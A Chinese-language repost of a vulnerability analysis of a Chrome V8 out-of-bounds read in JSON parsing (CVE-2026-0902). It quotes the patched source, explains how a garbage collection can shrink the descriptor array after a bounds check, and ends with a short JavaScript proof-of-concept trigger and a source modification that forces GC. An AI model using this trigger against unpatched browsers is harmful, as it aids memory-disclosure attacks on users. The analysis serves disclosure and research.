文章总结: 本文分析了ChromeV8引擎CVE-2026-0902内存读取漏洞。漏洞源于JSON解析时,在GC导致descriptor_array缩水后,未重新检查索引边界,导致越界读取。修复方案是在访问描述符数组前二次检查索引是否越界。文中提供了POC构造思路,建议通过大量属性和长字符串触发GC以复现漏洞。 综合评分: 86 文章分类: 漏洞分析,二进制安全,漏洞POC,代码审计
Chrome V8 CVE-2026-0902 内存读取漏洞简析 & POC纪要
原创
鉴帷安全 鉴帷安全
鉴帷安全
2026年1月27日 11:48 中国香港
该篇基于chromuim源码解析。
当前源码基于最新版,需要漏洞环境请回滚。
定位源码:
path:\src\v8\src\json\json-parser.cc
关键入口点
bool JsonParser<Char>::ParseJsonObjectProperties
后续补丁分析:
bool JsonParser<Char>::ParseJsonObjectProperties( JsonContinuation* cont, MessageTemplate first_token_msg, Handle<DescriptorArray> descriptors) { using FastIterableState = DescriptorArray::FastIterableState; if constexpr (fast_iterable_state == FastIterableState::kJsonSlow) { do { EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false); first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName; JsonString key = ScanJsonPropertyKey(cont); if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; } while (Check<JsonToken::COMMA>()); } else { DCHECK_GT(descriptors->number_of_descriptors(), 0); InternalIndex idx{0}; do { EXPECT_NEXT_RETURN_ON_ERROR(JsonToken::STRING, first_token_msg, false); first_token_msg = MessageTemplate::kJsonParseExpectedDoubleQuotedPropertyName; bool key_match; if constexpr (fast_iterable_state == FastIterableState::kJsonFast) { uint32_t key_length; { DisallowGarbageCollection no_gc; Tagged<String> expected_key = Cast<String>(descriptors->GetKey(idx)); Tagged<Map> key_map = expected_key->map(); // Fast iterable keys are guaranteed to be 1-byte. const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc); key_length = expected_key->length(); key_match = FastKeyMatch(expected_chars, key_length); } if (V8_LIKELY(key_match)) { JsonString key = JsonString(position(), key_length, false, true, false); ++idx; cursor_ += key_length + 1 /* double quote */; if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; } else { JsonString key = ScanJsonPropertyKey(cont); //CVE-2026-0902 if (!key.is_index()) { // Feedback doesn't match. Finish processing the current property // and continue in slow-path if we have more properties. if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; if (Check<JsonToken::COMMA>()) { return ParseJsonObjectProperties<FastIterableState::kJsonSlow>( cont, first_token_msg, {}); } return true; } if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; } } else { DCHECK_EQ(fast_iterable_state, FastIterableState::kUnknown); JsonString key = ScanJsonPropertyKey(cont); // Indices don't participate in fast iterable key checks. if (key.is_index()) { if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; continue; } // Before accessing the descriptor array, make sure that it wasn't // shrunk during a potential GC after the previous range check. if (V8_UNLIKELY(idx.as_int() >= descriptors->number_of_descriptors())) { break; //Check-After-Effect } // Check if the key is fast iterable. // Some of the checks below are not relevant for the parser, but are // requirements for fast iterable keys in general (e.g. for // JSON.stringify). Tagged<Name> property_name = descriptors->GetKey(idx); bool is_slow = key.has_escape(); // Check that the property is enumerable and located in field. PropertyDetails details = descriptors->GetDetails(idx); if (V8_UNLIKELY(details.IsDontEnum() || details.location() != PropertyLocation::kField)) { is_slow = true; } // Symbol property keys are slow. if (V8_UNLIKELY(IsSymbol(property_name))) { is_slow = true; } key_match = false; if (V8_LIKELY(!is_slow)) { DisallowGarbageCollection no_gc; // Property key is known to be fast so far, so it is guaranteed to // be a string. Tagged<String> expected_key = Cast<String>(property_name); Tagged<Map> key_map = expected_key->map(); if (InstanceTypeChecker::IsTwoByteString(key_map)) { // Two-byte keys are slow. is_slow = true; } else { const uint8_t* expected_chars = GetFastKeyChars(isolate_, expected_key, key_map, no_gc); const uint32_t key_length = expected_key->length(); key_match = FastKeyMatch(expected_chars, key_length, key); } } if (V8_UNLIKELY(is_slow)) { // The key is not fast iterable. Mark it as slow in the descriptor // array. descriptors->set_fast_iterable(FastIterableState::kJsonSlow); } // Finish parsing the property. if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; // If key is not fast iterable or doesn't match the feedback, we // continue on the slow-path. if (V8_UNLIKELY(is_slow || !key_match)) { if (Check<JsonToken::COMMA>()) { return ParseJsonObjectProperties<FastIterableState::kJsonSlow>( cont, first_token_msg, {}); } // No more properties to scan, we are done. return true; } ++idx; } } while (idx < InternalIndex(descriptors->number_of_descriptors()) && Check<JsonToken::COMMA>()); if constexpr (fast_iterable_state == FastIterableState::kUnknown) { if (idx == InternalIndex(descriptors->number_of_descriptors())) { descriptors->set_fast_iterable_if(FastIterableState::kJsonFast, FastIterableState::kUnknown); } } // Additional, unknown properties. Scan them slow. if (Check<JsonToken::COMMA>()) { return ParseJsonObjectProperties<FastIterableState::kJsonSlow>( cont, first_token_msg, descriptors); } } return true;}
核心变更点:
if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; } } else { DCHECK_EQ(fast_iterable_state, FastIterableState::kUnknown); JsonString key = ScanJsonPropertyKey(cont); // Indices don't participate in fast iterable key checks. if (key.is_index()) { //重要溢出点 if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; continue; }
旧代码中,程序直接通过 idx 去获取属性名和属性详情(descriptors->GetKey(idx))。它假设了 idx 永远在 descriptors 的长度范围之内。在 JSON.parse(或类似的 JSON 属性解析)过程中,如果触发了垃圾回收 (GC),V8 可能会为了节省空间而对对象的 descriptor_array 进行“缩减”(Shrink)。
如果之前做过长度检查,但在访问之前发生了一次 GC,数组长度变短了,之前的检查就失效了。由于 idx 此时指向了一个已经不存在的索引,descriptors->GetKey(idx) 就会产生越界读取 (OOB Read)。
修复补丁:
DCHECK_EQ(fast_iterable_state, FastIterableState::kUnknown); JsonString key = ScanJsonPropertyKey(cont); // Indices don't participate in fast iterable key checks. if (key.is_index()) { if (V8_UNLIKELY(!ParseJsonPropertyValue(key))) return false; continue; } // Before accessing the descriptor array, make sure that it wasn't // shrunk during a potential GC after the previous range check. if (V8_UNLIKELY(idx.as_int() >= descriptors->number_of_descriptors())) { break; //Check-After-Effect //核心点 } // Check if the key is fast iterable. // Some of the checks below are not relevant for the parser, but are // requirements for fast iterable keys in general (e.g. for // JSON.stringify). Tagged<Name> property_name = descriptors->GetKey(idx); bool is_slow = key.has_escape(); // Check that the property is enumerable and located in field. PropertyDetails details = descriptors->GetDetails(idx); if (V8_UNLIKELY(details.IsDontEnum() || details.location() != PropertyLocation::kField)) { is_slow = true; } // Symbol property keys are slow. if (V8_UNLIKELY(IsSymbol(property_name))) { is_slow = true; }
代码在每次访问描述符数组前,都强行重新获取一次 number_of_descriptors() 并与 idx 比较。如果发现索引已经超标(由于 GC 导致数组缩水),则立刻停止(break),防止读取非法的内存地址。
来尝试构建一个POC:
const obj = {};for (let i = 0; i < 1000; i++) { obj['prop' + i] = i;}// 构造一个复杂的 JSON 字符串// 包含大量长字符串以在解析时触发内存压力let json_str = '{"a":1, ' + Array(500).fill(0).map((_, i) => `"p${i}":"${'A'.repeat(10000)}"`).join(',') + '}';// 触发解析并尝试在解析过程中诱发 GC// 有时可以通过自定义 getter 或大量的字面量解析来触发JSON.parse(json_str);
PS:为了稳定复现,可以在暂时修改源代码,然后编译他
JsonString key = ScanJsonPropertyKey(cont); isolate_->heap()->CollectAllGarbage(Heap::kNoGCFlags, GarbageCollectionReason::kTesting); //强制触发GC回收,增加复现稳定性
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:鉴帷安全 鉴帷安全 鉴帷安全《Chrome V8 CVE-2026-0902 内存读取漏洞简析 & POC纪要》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论